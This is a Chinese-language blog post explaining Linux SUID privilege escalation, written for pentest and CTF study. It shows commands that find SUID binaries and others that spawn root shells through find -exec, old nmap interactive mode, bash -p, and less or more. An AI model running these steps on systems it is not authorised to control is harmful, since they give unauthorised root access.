前提
一般rce之后访问服务器的权限都是普通用户,要想获取管理员的权限就需要提权,而suid提权就是其中一种比较常见的提权方式,见过几次,这里浅研究一下
1、什么是SUID
首先我们都知道Linux中 /etc/shadow
中存放的是用户的账号密码,但是shadow这个目录所属为root,所以说其余用户没有修改的权限的。但是身为普通用户却能修改自己的账号密码,进而修改shadow当中的内容。 这个原因就是SUID
SUID(set UID)是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。就是说当你执行passwd命令时,它就相当拥有root权限,此时就能修改shadow文件的里面。而二进制程序是否存在suid权限,看最前面是否存在-s参数
而添加添加suid权限的方法为
chmod u+s 命令
2、搜索具备SUID的程序
以下语句能搜索哪些具备SUID的程序
find / -perm -u=s -type f 2>/dev/null
- -perm:按照文件权限的类型进行查找,-u=s,查找带有s权限的文件
- type f:按照文件来查找
- 2>/dev/null:把错误的输出到“黑洞”,就是不会显示到屏幕上
find / -user root -perm -4000 -exec ls -ldb {} ;
- -perm -4000,查看文件为4000(表示拥有suid权限)权限的文件
- -exec ls: 表示将查到的文件列出来,列出的方式是
- -ldb :l表示以列表的形式,-d表示仅列出目录本身,而不列出目录内的文件数据
- {}:花括号代表前面find查找出来的文件名
3、利用方式
常见的提权文件有:Nmap、Vim、find、Bash、More、less、Nano、cp、
(1)find
因为find命令中有参数-exec,它能重新执行参数后面的命令,这样就可以以root的权限执行该命令
find /flag -exec whoami \;
find /flag -exec /bin/bash -p \;
(2)Nmap
nmap在早期的版本中,带有交互模式,允许用户执行shell命令
使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中 通过如下命令提权
nmap> !sh
(3)Vim
vim如果具有suid权限,那么就可以之前读取文件内容了
(4)Bash
bash -p直接进入root权限
(5)more与less
more与less类似,利用命令进入shell
less /etc/passwd
#在less中输入:
!/bin/sh
z注意:使用more和less时一定要读取一个比较大的文件
4、参考链接
1、http://www.hackdig.com/05/hack-351745.htm
2、https://blog.csdn.net/weixin_39430198/article/details/123504153
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com